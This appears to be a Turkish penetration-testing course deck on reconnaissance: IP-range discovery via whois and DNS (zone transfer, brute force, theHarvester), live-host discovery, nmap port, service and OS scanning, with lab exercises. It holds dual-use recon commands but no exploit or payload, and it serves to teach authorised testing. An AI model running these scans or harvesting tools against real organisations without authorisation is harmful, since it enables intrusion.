4. İÇERİK
• Hedef IP Aralığı Tespiti
• Canlı Sunucu Tespiti
• Port Tarama
• Servis ve İşletim Sistemi Tespiti
• Kullanıcı Tespiti
5. HEDEF IP ARALIĞI TESPİTİ
IP Aralıkları Tespit Yöntemleri
Eğer hedef kurumun IP adreslerini tespit etmek durumundaysak
izleyebileceğimiz yöntemler aşağıdaki gibidir (bu yöntemler
sırayla kullanılmak durumunda değildir, bir adımda elde edilen
bilgiler diğer bir adımda tekrar sorgulama yapmak için
kullanılabilir):
• 1.Adım: Internet adres otoritelerinin sorgulama imkanlarını
kullanmak
• 2.Adım: Hedef kuruma ait olabilecek sunucu alan adları ve IP
adreslerini çeşitli yöntemlerle tespit etmek ve (bu bilgileri
kullanarak) IP Whois sorgulamaları
6. HEDEF IP ARALIĞI TESPİTİ
Dünya İnternet Adres
Otoriteleri
IANA – Internet Assigned Numbers
Authority
AFRINIC (Afrika)
APNIC (Asya Pasifik)
ARIN (Kuzey Amerika)
LACNIC (Latin Amerika)
RIPE NCC (Avrupa, Orta Asya, Orta
Doğu)
7. HEDEF IP ARALIĞI TESPİTİ
Türkiye'nin dahil olduğu
coğrafyadan sorumlu
otorite
RIPE NCC
8. HEDEF IP ARALIĞI TESPİTİ
Internet üzerinde iletişim kurmak için ihtiyacınız olacak IP
adresini iki şekilde alabilirsiniz:
• Birinci yol olarak bir barındırma hizmeti firmasının veya
abonesi olduğunuz bir ISP (İnternet Servis Sağlayıcı - İSS)
firmasının size sabit olarak veya dinamik olarak atayacağı bir
IP adresini kullanmaktır. Dinamik olarak IP adresinin
atanmasından kasıt cihaz veya sunucunuzu her yeniden
başlatışınızda müsait olan bir IP adresinin size atanması, statik
olarak atanmasından kasıt ise cihaz veya sunucunuzu tekrar
başlatsanız da aynı IP adresini kullanmaya devam etmenizdir.
• İkinci yol ise sizin bölgesel internet adres otoritesinden kendi
adınıza ayırtmış olduğunuz IP adresleri veya IP adres
aralığından bir adresi sunucunuza atamanızdır.
9. HEDEF IP ARALIĞI TESPİTİ
TESPİTİ ZOR IP ADRES ARALIKLARI
Eğer kurum bir ISP kuruma ait bir IP aralığını kullanıyor, ancak
hali hazırda bu aralıkta bulunan sunuculardan herhangi bir HTTP
servisi vermiyor veya bu IP adresleri ile ilgili herhangi bir DNS
kaydı tanımlamamışsa bu aralığı bulmak pek mümkün değildir.
Çünkü IP aralığı tespit yöntemlerimiz kurumun adının internet
otoritelerinin veritabanlarında geçiyor olmasına (ki ISP IP
aralığının kullanılması durumunda bu mümkün olmayacaktır),
verdiği HTTP servisleri ve bu servisleri verdiği sunucuların alan
adları içinde kurum adının geçiyor olmasına, veya yapacağımız
forward, zone transfer ve bruteforce DNS sorgularında bu IP
adreslerinin görünmesi üzerine kuruludur. Bu açılardan hiçbir iz
bırakılmamışsa bizim bu IP aralığını tespit etmemiz zordur. (ör:
FKM sistemlerinin IP adresleri)
10. HEDEF IP ARALIĞI TESPİTİ
Internet Adres Otoritelerinin Sorgu İmkanlarını Kullanmak
11. HEDEF IP ARALIĞI TESPİTİ
Internet Adres Otoritelerinin Sorgu İmkanlarını Kullanmak
12. HEDEF IP ARALIĞI TESPİTİ
IP Whois Araçlarını Kullanmak
# dmitry 193.186.4
dmitry v.b. araçlarla internet
adres otoritelerinin sunduğu ip
whois servisleri belirli adresler
için sorgulanarak bu adreslerin
hangi aralıkta olduğu ve bu
aralıkların sahipliğine ilişkin
bilgi edinebiliriz
13. HEDEF IP ARALIĞI TESPİTİ
dmitry projesi
iwhois.h
dmitry projesi
iwhois.c
IP Whois Araçlarını Kullanmak
14. HEDEF IP ARALIĞI TESPİTİ
EGZERSİZ
• Kurumunuzun sahibi olduğu IP aralıklarını adres otoritelerinin
sağladığı imkanlardan faydalanarak tespit ediniz.
• Elde ettiğiniz yanıtlarda sosyal mühendislik saldırılarında
kullanılabilecek nitelikte bir bilgi var mı?
15. HEDEF IP ARALIĞI TESPİTİ
Açık Referanslardan Belirli Sunucu Tiplerinin Tespiti
Bing
domain:btrisk.com
16. HEDEF IP ARALIĞI TESPİTİ
Açık Referanslardan Belirli Sunucu Tiplerinin Tespiti
Google
site:btrisk.com -site:www.btrisk.com
17. HEDEF IP ARALIĞI TESPİTİ
Web Sunucularının Spider Edilmesi ve İlişkili Diğer Web Sunucularının Tespiti
18. HEDEF IP ARALIĞI TESPİTİ
Web Sunucularının Spider Edilmesi ve İlişkili Diğer Web Sunucularının Tespiti
19. HEDEF IP ARALIĞI TESPİTİ
Kali
# host -a btrisk.com
DNS Sorguları (Type ANY sorgusu)
Type ANY sorgularında
• Sorgulanan alan adının A
(Address) tipindeki kaydı
• MX (Mail eXchange)
sunucu kayıtları
• NS (Name Server) sunucu
kayıtları döner
20. HEDEF IP ARALIĞI TESPİTİ
Windows
(nslookup) > set type=all
DNS Sorguları (Type ANY sorgusu)
21. HEDEF IP ARALIĞI TESPİTİ
EGZERSİZ
• "host" komutu ile belli bir alan adı için yaptığınız bir DNS
sorgusunu Wireshark ile inceleyiniz. Sorgulanan kaydın tipi
nedir?
• "host" komutunun neticesinde sorgunun iletildiği sunucu IP
adresi nedir?
• DNS sorgunuzu 4.4.4.4 IP adresine iletecek komut değişikliğini
yapınız.
22. HEDEF IP ARALIĞI TESPİTİ
DNS Sorguları (Type AXFR sorgusu – Zone Transfer)
# dig axfr alanadi @dnssunucusu
23. HEDEF IP ARALIĞI TESPİTİ
DNS Sorguları (Type AXFR sorgusu – Zone Transfer)
25. HEDEF IP ARALIĞI TESPİTİ
# dnsrecon -d google.com -D /usr/share/golismero/wordlist/dns/dnsrecon.txt -t brt
DNS Bruteforce Sorguları
dnsrecon aracının CNAME, A ve
AAAA (IPv6) tipinde sorgular
yaptığı görülüyor
26. HEDEF IP ARALIĞI TESPİTİ
DNS Reverse IP (PTR tipi) Sorguları
# dnsrecon -r 31.210.54.1-31.210.54.254
27. HEDEF IP ARALIĞI TESPİTİ
Çeşitli kaynaklardan hedef verisi toplayan araçlara örnek – the Harvester
# theharvester -d btrisk.com -b google -l 100 -h
28. HEDEF IP ARALIĞI TESPİTİ
Çeşitli kaynaklardan hedef verisi toplayan araçlara örnek – the Harvester
The Harvester aracının arama
motorlarından web sunucusu,
e-posta adresi sorguladığı,
Shodan veritabanından
sorgulama yaptığı görülüyor
29. CANLI SUNUCU TESPİTİ
• Halka açık kaynaklardan IP aralıkları, alan adları ve
DNS kayıtlarını elde ettikten veya sızma testi
muhatabı tarafından belirli bir IP aralığı verildikten
sonra sıra bu aralıkta aktif olabilecek sunucuların
tespitine gelir.
• Burada hedef aralığın genişliği ve kurumun güvenlik
ihtiyaçlarının düzeyi yapılacak taramaların
yoğunluğu ile ilgili bize yön gösterecektir.
• Bu noktadan sonra hedef ağ ile doğrudan etkileşim
artarak başlayacaktır. Bu nedenle stratejimiz en az
trafik doğuracak işlemlerden başlayarak ilerlemek
olacaktır.
30. CANLI SUNUCU TESPİTİ
TEMEL TCP / IP BİLGİSİ
TCP / IP paketine baktığımızda kabaca 5 katman vardır (OSI modeli ve
bunların TCP/IP ile ilişkilendirilmesine girmeyeceğiz):
• Fiziksel katman: Paketin tamamını ifade eder, incelememiz açısından bir
önemi bulunmamaktadır.
• Veri bağlantı katmanı (data link layer): Paketin yerel ağda iletimi için
önemli başlık alanıdır. MAC adreslerinin esas alındığı bir katmandır. Yerel
alan saldırıları açısından bilinmesi önemlidir, ancak bu noktada
derinlemesine değinmeyeceğiz.
• Ağ katmanı (network layer): İncelememiz açısından önemli olup IP
adreslerinin paket iletiminde önem kazandığı katmandır. Bu adresler
özellikle paketler yerel ağdan çıktığı durumlarda önemlidir, zira veri
bağlantı katmanı yerel ağdan çıkıldığında paketten sıyrılır ve sonraki LAN
veya WAN protokollerine uygun olarak farklı ceketlere sahip olarak
hedefine doğru yoluna devam eder.
31. CANLI SUNUCU TESPİTİ
TEMEL TCP / IP BİLGİSİ (devamı)
• Taşıma katmanı (transport layer): Bu katman kabaca iletilen paketlerin
üzerinde seyahat ettiği hattın ihtiyaçlarına bağlı olarak veya farklı
paketlerin farklı sıralarda hedefe ulaşabileceği gerçeği nedeniyle
paketlerin doğru sırada ve tam olarak karşı tarafa iletilmesinden sorumlu
ağ protokol katmanıdır. Ancak TCP ve UDP için anlamlı olan bu tanım ICMP
için pek bir anlam ifade etmeyecektir. Bu nedenle her ağ protokolünün
tüm bu katmanlara karşılık gelmesini beklememek gereklidir. Bu gerçek
OSI teorik modeli için daha da doğrudur, çünkü TCP/IP paketlerini 7
katmandan oluşan bu modelle eşleştirmek daha da zordur.
• Uygulama katmanı (application layer): Bu katman da daha çok TCP ve
UDP protokolleri ile daha iyi anlam bulan bir katmandır. İletilen paketin
içinde uygulama seviyesinde anlam kazanan verilerin bulunduğu
bölümdür. Taşıma ve Uygulama katmanlarına örnekleri bir HTTP paketi ve
bir DNS paketi içinde inceleyeceğiz.
32. CANLI SUNUCU TESPİTİ
Yerel ağ'da MAC adresi ile iletişim kurulur.
IP paketini gönderen istemci ya bu IP adresinin
sahibini sorgular ya da mevcutsa ARP cache'inde
bulunan MAC adresini kullanır.
Gönderilen paketin içinde hedef IP adresi vardır,
ancak Layer 2 cihazlar (switch'ler) MAC adresini
esas alarak yönlendirme yapar.
ARP Poisoning ile araya girme yöntemi bu tasarım
özelliğini kullanır.
HTTP Paket Örneği (Veri Bağlantı Katmanı)
IPv4
33. CANLI SUNUCU TESPİTİ
Güvenlik açısından önemli IP başlık
alanları:
• Kaynak ve hedef IP adresleri
• Time to live alanı
• Flags, Fragment Offset ve
Identification alanları
• Source Routing option alanları
HTTP Paket Örneği (Ağ Katmanı)
34. CANLI SUNUCU TESPİTİ
Güvenlik açısından önemli TCP
başlık alanları:
• Kaynak ve hedef port
numaraları:
• Flags alanı
• TCP Sequence ve
Acknowledgement sıra
numaraları
HTTP Paket Örneği (Taşıma Katmanı)
35. CANLI SUNUCU TESPİTİ
HTTP Paket Örneği (Uygulama Katmanı)
Wireshark bu paketin
uygulama katmanında HTTP
protokolünün taşındığını nasıl
anlamış olabilir?..
36. CANLI SUNUCU TESPİTİ
EGZERSİZ
• Kali üzerinde "python –m SimpleHTTPServer 500" komutu ile
TCP 500 portundan dinleyen basit bir HTTP sunucusunu
başlatınız
• Kali üzerinde "eth0" arayüzünü Wireshark ile dinlemeye
başlayınız
• Host bilgisayarınızdan browser ile Kali bilgisayarınızın TCP 500
portuna bağlanınız
(ör: http://192.168.163.128:500 şeklinde)
• Wireshark'ın TCP 500 portu ile yapılan iletişimi HTTP protokolü
olarak yorumlamasını sağlayınız
İPUCU: Wireshark'ın "Decode As" özelliğini kullanınız
40. CANLI SUNUCU TESPİTİ
ICMP Paket Örneği
ICMP için bir port kavramı
bulunmamaktadır
ICMP paketlerinin türünü Type
ve Code alanları belirler
41. CANLI SUNUCU TESPİTİ
EGZERSİZ
• Kali üzerinde "eth0" arayüzünü Wireshark ile dinlemeye
başlayınız
• Kali'den host (Windows) bilgisayarınıza doğru "ping" komutunu
çalıştırınız
• Host (Windows) bilgisayarınızdan Kali'ye doğru "ping" komutunu
çalıştırınız
• Her iki istek arasındaki farkları Wireshark'tan
inceleyiniz
43. CANLI SUNUCU TESPİTİ
Lokal Subnet'te Sunucu Tespiti
Nmap'in lokal ağda sunucu
tespitinde ilk olarak izlemeyi tercih
ettiği yol bizim tarama
opsiyonlarımızdan farklı.
44. CANLI SUNUCU TESPİTİ
Lokal Subnet'te Sunucu Tespiti
Nmap'in ürettiği paketleri incelediğimizde biz ICMP
tarama yapmak istemiş olsak da nmap'in lokal ağda
öncelikle ARP request paketlerini kullandığını
görüyoruz.
Bu yöntem hedef sunucular açısından daha az şüphe
çekici bir yöntem. Ama yerel ağı dinleyen bir IDS için
ICMP taraması kadar bariz bir tarama işlemi.
46. CANLI SUNUCU TESPİTİ
İntranet'te sık rastlayabileceğiniz portlar:
• NETBIOS over TCP – NBT ( (UDP 137 - Name servisi)
• SMB (TCP 139 – Dosya ve yazıcı paylaşımı için kullanılır)
• CIFS (TCP 445 – SMB’nin yerini alan Windows dosya paylaşım protokolü)
• RDP (TCP 3389)
• HTTP (TCP 80)
• HTTPS (TCP 443)
• HTTP PROXY (TCP 8080, TCP 3128 - Squid proxy servisi)
• SNMP (UDP 161)
• LDAP (TCP 389)
• FTP (TCP 21)
• TELNET (TCP 23)
• RPC (UDP 111)
• NFS (TCP 2049)
• MSSQL (TCP 1433)
• MySQL (TCP 3306)
• ORACLE (TCP 1521)
Sık Rastlanan Servis Portlarının Taranması
47. CANLI SUNUCU TESPİTİ
# nmap -sS -
p21,22,23,25,53,80,139,264,389,443,445,1433,1521,2049,3128,3306,3389,
5060,8080 192.168.163.129
Sık Rastlanan Servis Portlarının Taranması (TCP Tarama)
48. CANLI SUNUCU TESPİTİ
Sık Rastlanan Servis Portlarının Taranması (UDP Tarama)
# nmap -sU -p53,111,121,137,161,500,5060 192.168.163.129
49. CANLI SUNUCU TESPİTİ
Unique isimlerinden
<00> – Workstation adı,
Group isimlerinden
<00> – Workgroup, domain adı anlamına
gelir.
Ayrıca bazı Netbios suffix’leri sunucu üzerinde
çalışan servisler ve diğer bilgileri ifade eder
(örneğin Unique isimlerinden 20 - dosya
sunucusu olduğunu, Group isimlerinden 1C
domain controller olduğunu belirtir).
NetBIOS İsim Servisinin Taranması
50. CANLI SUNUCU TESPİTİ
NetBIOS İsim Servisinin Taranması
NetBIOS taraması her zaman Windows
sunuculara ilişkin veri döndürmez.
Seyrek olsa da üzerinde Samba yüklü
olan Unix / Linux sunucular da bu
taramalarda görünür.
Kali üzerinde SMB erişimi
için gerekli Samba
paketleri zaten yüklü
54. CANLI SUNUCU TESPİTİ
EGZERSİZ
• Öğrendiğiniz canlı sunucu tespit etme yöntemlerini uygulayarak
LAB ortamındaki bilgisayarları tespit ediniz.
• Canlı sunucu tespiti sırasında edindiğiniz sunucu adı ve çok
kullanılan portlardan tespit ettiklerinizi not ediniz.
ÖNEMLİ: Bu aşamada vakit kaybı yaşamamak için Full (yani 1-
65535 arasındaki tüm portlar için) Port
Taraması yapmayınız.
55. PORT TARAMA
#!/usr/bin/perl
use IO::Socket::INET;
# flush
$| = 1;
my ($socket,$client_socket);
my ($peeraddress,$peerport);
$socket = new IO::Socket::INET (
LocalHost=> '0.0.0.0',
LocalPort=> '5000',
Proto => 'tcp',
Listen => 5,
Reuse => 1
) or die "Soket olusturulamadi : $!n";
print "TCP sunucu dinliyor ...n";
while(1) {
$client_socket = $socket->accept();
$peer_address = $client_socket->peerhost();
$peer_port = $client_socket->peerport();
print "Yeni baglanti : $peeraddress, $peerportn ";
while(1) {
$client_socket->recv($data,1024);
print "Istemciden alinan veri : $datan";
if ($data eq "selamn") {
$data = "Sana da selam...n";
$client_socket->send($data);
}
}
}
$socket->close();
TCP Servis Örneği
58. PORT TARAMA
TCP Servis Örneği
Netcat ile TCP sunucusuna bağlandığımız anda
herhangi bir veri iletilmemiş olmasına rağmen
bir iletişim gerçekleşmiş.
Bu iletişim TCP protokolünün gereği olan TCP el
sıkışma (handshake) paketlerinden oluşuyor.
62. PORT TARAMA
TCP Servis Örneği
SYN, ACK paketi
Sunucu istemci'nin sıra
numarasını acknowledge
ediyor.
Yani istemcinin sıra
numarasına "1" ekleyerek
geri gönderiyor.
65. PORT TARAMA
TCP Servis Örneği
ACK paketi
İstemci sunucu'nun sıra
numarasını acknowledge
ediyor.
Yani sunucunun sıra
numarasına "1" ekleyerek
geri gönderiyor.
3. paketin iletimiyle birlikte
bağlantı kurulmuş oluyor
66. PORT TARAMA
TCP Servis Örneği
İstemci'den "hello" kelimesini sunucuya gönderiyoruz.
Ancak herhangi bir veri alamıyoruz. Bunun sebebi
sunucunun sadece "selam" kelimesine yanıt veriyor
olması.
Veri dönmese de TCP protokolünün gereği olarak
sunucudan bir ACK paketinin dönmüş olması lazım.
68. PORT TARAMA
TCP Servis Örneği
Sunucu herhangi bir veri
döndürmemesine rağmen
istemciden aldığı 6 byte'lık
veriyi acknowledge ediyor
ve ACK sıra numarasını 6
artırıyor.
69. PORT TARAMA
TCP Servis Örneği
Bu defa istemci'den "selam" verisini gönderiyoruz.
Bir önceki istekten farklı olarak bu defa veri içeren bir
yanıt alıyoruz.
71. PORT TARAMA
TCP Servis Örneği
Sunucudan dönen pakette
bulunan veri bölümü.
Bu paketle sunucu aynı
zamanda istemciden bir
önceki pakette gelen veri
miktarında ACK
numarasını da artırıyor.
72. PORT TARAMA
TCP Servis Örneği
İstemci sunucudan dönen
yanıtı aldığını teyit etmek
için ACK numarasını
sunucunun ilettiği veri
miktarı kadar artırarak
ACK paketini iletiyor.
73. PORT TARAMA
#!/usr/bin/perl
use IO::Socket::INET;
# flush
$| = 1;
my ($socket,$received_data);
$socket = new IO::Socket::INET (
LocalPort => '5000',
Proto => 'udp',
) or die "Soket olusturulamadi : $!n";
print "UDP sunucu dinliyor...n";
while(1) {
$socket->recv($received_data,1024);
print "Istemcidenalinan veri : $received_datan";
if ($received_data eq "selamn") {
$socket->send("Sana da selam...n");
}
}
$socket->close();
UDP Servis Örneği
Şimdi UDP iletişimini
analiz etmek üzere aynı
fonksiyonaliteyi bir UDP
servisi üzerinden
sağlayalım.
75. PORT TARAMA
UDP Servis Örneği
Yine Netcat ile karşıdaki
servise bağlantı kuruyoruz
Ancak bu defa karşıdaki
servis bir UDP servisi
# nc –u 192.168.1.149 5000
76. PORT TARAMA
UDP Servis Örneği
TCP bağlantısında bu
aşamada el sıkışma
paketleri iletilmişti.
UDP için böyle bir durum
söz konusu değil, yani
aslında sunucu henüz
istemcinin varlığının
farkında bile değil.
77. PORT TARAMA
UDP Servis Örneği
UDP servisine anlamadığı
bir istek gönderiyoruz.
Servisimiz sadece "selam"
isteğine yanıt veriyor.
Dolayısıyla herhangi bir
yanıt alamıyoruz.
79. PORT TARAMA
UDP Servis Örneği
Bu iletişimde sadece bir
paket yer almış
Sunucu tamamen sessiz
kalmayı tercih etmiş
80. PORT TARAMA
UDP Servis Örneği
Bu defa sunucunun
anladığı dilden bir istek
gönderiyoruz.
Sunucu da bize bir yanıt
veriyor.
81. PORT TARAMA
UDP Servis Örneği
Sunucu sadece beklediği
bir istek geldiğinde yanıt
üretti.
82. TCP ve UDP SERVİSLERİ İNCELEMESİNİN SONUCU
• TCP ve UDP servislerinin davranışları içerik itibarıyla aynı
olmasına rağmen TCP servisi protokolün çalışma yöntemi
nedeniyle servisin doğru istek gönderilmese bile ifşa olmasına
neden olmaktadır.
• UDP servisi beklediği veri (payload) iletilmezse sessizliğini
korumaktadır. Bu davranış eğer firewall yok ise UDP portunun
açık olduğu anlamına gelmektedir. Ancak firewall var ise istek
paketinin DROP edildiği veya sunucudan dönecek olan ICMP
Port Unreachable paketinin filtrelendiği anlamına da gelir.
• Bu sebepten dolayı UDP taramalarındaki hız ve kesinlik
düşmektedir.
PORT TARAMA
83. PORT TARAMA
Kapalı TCP Portu Davranışı
# hping3 192.168.1.149 -V -c 1 -S -p 5001
"hping" ile kapalı olduğunu bildiğimiz bir TCP
portuna 1 adet SYN paketi gönderiyoruz
84. PORT TARAMA
Kapalı TCP Portu Davranışı
Sunucu kapalı bir TCP
portuna istek yapıldığında
RST, ACK yanıtı dönüyor
85. PORT TARAMA
Kapalı UDP Portu Davranışı
"hping" ile kapalı olduğunu bildiğimiz bir UDP
portuna 1 adet UDP paketi gönderiyoruz
UDP paketinin veri bölümü bulunmuyor
86. PORT TARAMA
Kapalı UDP Portu Davranışı
Kapalı bir UDP portuna
paket gönderildiğinde
sunucu ICMP Port
Unreachable paketi ile
istemciyi bilgilendiriyoruz
87. PORT TARAMA
Full TCP Port Tarama
Full tarama yapacağımız
sunucumuzun açık olan
servisleri yukarıdaki gibidir
88. PORT TARAMA
Full TCP Port Tarama
Tarama yapılacak olan sunucu üzerindeki
firewall kurallarını Flush ediyoruz ve
herhangi bir kural tanımlı olmadığından
emin olmak için kuralları listeliyoruz
89. PORT TARAMA
Tüm TCP portları için SYN taraması yapıyoruz.
SYN taraması istemci tarafından TCP handshake
tamamlanmadan son adımda iletişimin RST
paketi ile kesilmesi yöntemi ile yapılır.
El sıkışma işleminin tamamlandığı yönteme
Connect scan (-sT opsiyonuyla yapılır) adı
verilir.
Full TCP Port Tarama
Firewall aktifken tarama süresi
11,88 sn.
Her 2 TCP portumuzu da tespit
edebildik.
90. PORT TARAMA
Full TCP Port Tarama
Bu defa TCP port taramasından önce TCP
80 ve TCP 5000 portları dışındaki tüm
portlara yapılan istekleri DROP edecek
biçimde firewall kurallarını tanımlıyoruz.
91. PORT TARAMA
Firewall aktifken tarama süresi
115,68 sn.
Tarama sonuçları aynı olmasına rağmen
nmap'in işi 10 kata yakın süre daha fazla
sürdü. Bu fark nmap'in yanıt alamadığı
istekler için belli bir süre beklemesinden
kaynaklanıyor.
Full TCP Port Tarama
92. PORT TARAMA
Full port tarama yapmadığımız için
UDP 34841 portu tespit
edilememiş.
UDP 161 dışındaki portların da açık
olduğundan kesin olarak emin
olamamış.
UDP Port Tarama
Full UDP port tarama yapmadan önce
yine tüm firewall kurallarını kaldırdık.
UDP port taramada TCP taramadan
farklı olarak tüm portları taramadık.
Nmap öntanımlı olarak Top 1000 portu
tarıyor.
Sadece 1000 port taranmış olmasına
rağmen UDP taramasının süresi TCP
taramalarına göre çok daha uzun
sürdü.
93. PORT TARAMA
UDP Port Tarama
Bu defa UDP port taramasından önce aktif
olan UDP portları dışındaki tüm portlara
yapılan istekleri DROP edecek biçimde
firewall kurallarını tanımlıyoruz.
94. PORT TARAMA
Firewall aktifken kapalı UDP portları ile açık ancak beklediği girdiyi almadığında
yanıt üretmeyen UDP portları aynı biçimde davrandığından tüm bu portların
kapalı olduğuna kanaat getirdi.
Nmap'in SNMP protokolü (UDP 161) için hazır probe payload’u bulunduğundan
nmap bu portu net olarak açık şeklinde belirledi. Ancak diğerlerini gözden
kaçırdı.
UDP Port Tarama
Bu defa tarama süresi çok düştü.
Muhtemelen nmap yanıt vermeyen
portlar için bekleme süresini azalttı.
95. PORT TARAMA
Full UDP Port Tarama
Full UDP port tarama işlemi
firewall'suz top 1000 port tarama ile
yaklaşık aynı süre sürdü. Ancak SNMP
dışındaki tüm servisler gözden
kaçırıldı.
96. PORT TARAMA
EGZERSİZ
• Full TCP ve UDP taramalarından neden 1-65535 arasındaki
portlar taranmaktadır, üst limit neden 65535'dir?
• Canlı olduğunu tespit ettiğiniz "1" LAB sunucusu için full TCP ve
UDP taramalarını gerçekleştirin.
97. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
#!/usr/bin/perl
use IO::Socket::INET;
# flush
$| = 1;
my ($socket,$client_socket);
my ($peeraddress,$peerport);
$socket = new IO::Socket::INET (
LocalHost => '0.0.0.0',
LocalPort => '5000',
Proto => 'tcp',
Listen => 5,
Reuse => 1
) or die "Soket olusturulamadi : $!n";
print "TCP sunucu dinliyor ...n";
while(1) {
$client_socket = $socket->accept();
my $data = "220 BTRisk FTP Sunucusuna Hoşgeldinizrn220 ProFTPD 1.3.5 Server (ProFTPD)";
$client_socket->send($data);
}
$socket->close();
Servis ve Versiyon Tespiti
98. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti
Netcat ile servisimize TCP bağlantısı kurar
kurmaz bir banner ile karşılaşıyoruz
99. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti
Nmap TCP 5000 portundaki
servisimizin ProFTPD 1.3.5
olduğu sonucuna vardı
# nmap -Pn -sV -version-all -p1-65535 192.168.163.129
100. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
“-Pn”: Nmap normalde bir sunucuya yönelik port taraması yapmadan önce bir ping
paketi, buna yanıt alamazsa TCP 80 ve 443 portlarına birer paket gönderir. Böylece
sunucunun ayakta olup olmadığını anlamaya çalışır, eğer herhangi bir yanıt alamaz ise de
taramayı gerçekleştirmez. “-Pn” opsiyonu özellikle firewall arkasında bulunan ve mevcut
olduğunu düşündüğümüz veya çok kritik olabilecek sunucular için mutlaka kullanılması
gereken bir opsiyon, aksi takdirde port taramamız gerçekleşmeyecektir.
“-sV”: Bu opsiyon nmap’e sadece port tarama yapmamasını, aynı zamanda tespit ettiği
servislerin ne olduğuna yönelik inceleme de yapması gerektiğini belirtir. Bu seçenek
neticesinde nmap tespit edilen servislere UDP taramasında uyguladığı stratejiye benzer
şekilde bazı payload’lar gönderir. Bu payload’lar servisin tam olarak ne olduğunu anlama
konusunda bizi çok daha iyi aydınlatır.
“--version-all”: nmap’in normalde kendine göre uyguladığı bir optimizasyon var, buna
göre belirli payload’ları belirli portlara yönelik olarak gönderiyor. Bu opsiyonla nmap’e
tespit ettiğin portlar için elindeki tüm payload’ları kullan emrini veriyoruz. Elbette bu
yöntem çok daha fazla paket üretilmesine neden olacak, özellikle servis sayısı arttığında
bu durum katlanacak.
“-p1-65535”: Bu opsiyon bildiğiniz gibi full port taraması için kullandığımız opsiyon.
Servis ve Versiyon Tespiti
101. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti
msf > search type:exploit name:ProFTP
Eğer tespitimiz doğru olsaydı
bir sonraki adım servisle ilgili
açıklıkları aramak olacaktı
103. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti
Nmap'in servis tespiti için kullandığı
probe yöntem ve payload'ları
/usr/share/nmap/nmap-service-
probes dosyasında yer almaktadır
Bu probe yönteminde servise
herhangi bir payload
gönderilmemekte ve 6 saniye
beklenmektedir
TCP 9100-9107 arası portlar
yazıcılar tarafından
kullanıldığından nmap tarafından
kapsam dışında bırakılmıştır
104. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Buradaki regular expression’ı okursak:
• İlk satır satır başında 220 ile başlamak kaydı ile herhangi bir metin
• İkinci satır başında da yine “220 ProFTPD “ ile başlayan, devamında herhangi
bir word karakteri (yani küçük harf, büyük harf, rakam ve alt çizgi) veya alt çizgi
veya tire karakterlerinden en az bir adetten oluşan bir kelime, devamında da “
Server (ProFTPD)” ifadesini arıyor.
• İkinci satırda parantez işaretleri arasında bulunan kısım ise nmap tarafından
servisin versiyonu raporlanırken kullanılıyor ($1 bu eşleşmenin yerine geçiyor).
Servis ve Versiyon Tespiti
105. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti
Service probes dosyasında yaklaşık
10.000 satır var
106. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Null probe dışında bir örnek vermek gerekirse HTTP servislerini tespit etmeye
yönelik bir probe örneği olarak bu örnek verilebilir, bir GET isteğinden sonra iki
enter’ı ifade eden bir probe sonrasında aşağıda gelen match ifadeleri bekleniyor.
Ancak port numaraları sınırlanmış. Bizim nmap taramamızda kullandığımız "--
version-all" opsiyonu bu sınırlandırmayı iptal ediyor.
Servis ve Versiyon Tespiti
107. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
İşletim sistemi tahmininin gerekçeleri:
• Hedef sunucunun açıklık barındırıp barındırmadığının tahmini (örneğin rwho
servisi Solaris 7-9 arasında exploit edilebilirken Solaris 10’da bu açıklık
giderilmiştir).
• Exploit kodlarının çalışabilmesi için düzenlenmesi (açıklık barındıran bir
servis tespit etseniz bile exploit kodunuzun içindeki adreslerin hedef işletim
sisteminin versiyonuna uygun hale getirilmesi gerekebilir. Çünkü exploit’un
atlama adresi olarak kullandığı bölümdeki kodlar işletim sistemi
güncellemesi ile ortadan kalkmış veya kaymış olabilir)
• Envanter takibi (güvenlik yöneticisi olarak ağınıza bağlı cihazları takip etmek
için bu yöntemi kullanabilirsiniz)
• İzinsiz ve tehlikeli cihazların tespiti
• Sosyal mühendislik (hedeflediğiniz bir kullanıcı hakkında size destekleyici
bilgi sağlayabilir)
İşletim Sistemi ve Versiyonu Tespiti
108. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
# nmap -O 192.168.163.131
İşletim Sistemi ve Versiyonu Tespiti
Nmap, firewall'u aktif bir bilgisayarı -O opsiyonuyla işletim sistemi
tespiti amacıyla taradığımızda en az 1 AÇIK ve 1 KAPALI port
bulamadığı için ürettiği sonuçların sağlıklı olmayabileceğini belirtti.
109. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
İşletim Sistemi ve Versiyonu Tespiti
Hedefteki sunucumuz
Windows 7 Home Basic – SP1
işletim sistemine sahip
110. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
İşletim Sistemi ve Versiyonu Tespiti
İşletim sistemi enumeration
taramasını bu defa Firewall
pasif iken yapacağız
111. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Firewall pasif hale
getirildiğinde nmap biraz daha
daraltılmış bir tahmin yapabildi
İşletim Sistemi ve Versiyonu Tespiti
112. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
NMAP Aggressive Scan
# nmap –A 192.168.163.131
Servis
enumeration
“nmap”in -A (Aggressive Scan)
opsiyonu ile servis versiyonu,
işletim sistemi tespiti, script
scanning ve traceroute birlikte
yapılıyor.
İşletim sistemi
enumeration
113. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Script scan
sonuçları
Traceroute
sonuçları
NMAP Aggressive Scan
# nmap -A 192.168.163.131
114. KULLANICI TESPİTİ
Windows 2000 işletim sistemi
modern işletmelerde artık
karşılaşma ihtimalimizin düşük
olduğu bir işletim sistemi. Ancak
en meşhur kullanıcı tespit
yöntemlerinden birisi olduğundan
ve belli bir yaşı aşkın işletmelerde
kıyıda köşede kalmış böyle bir
sunucuya rastlama ihtimaliniz
olduğundan null session
enumeration’dan bahsetmeden
geçemeyiz.
Null Session Enumeration
115. KULLANICI TESPİTİ
Null Session Enumeration
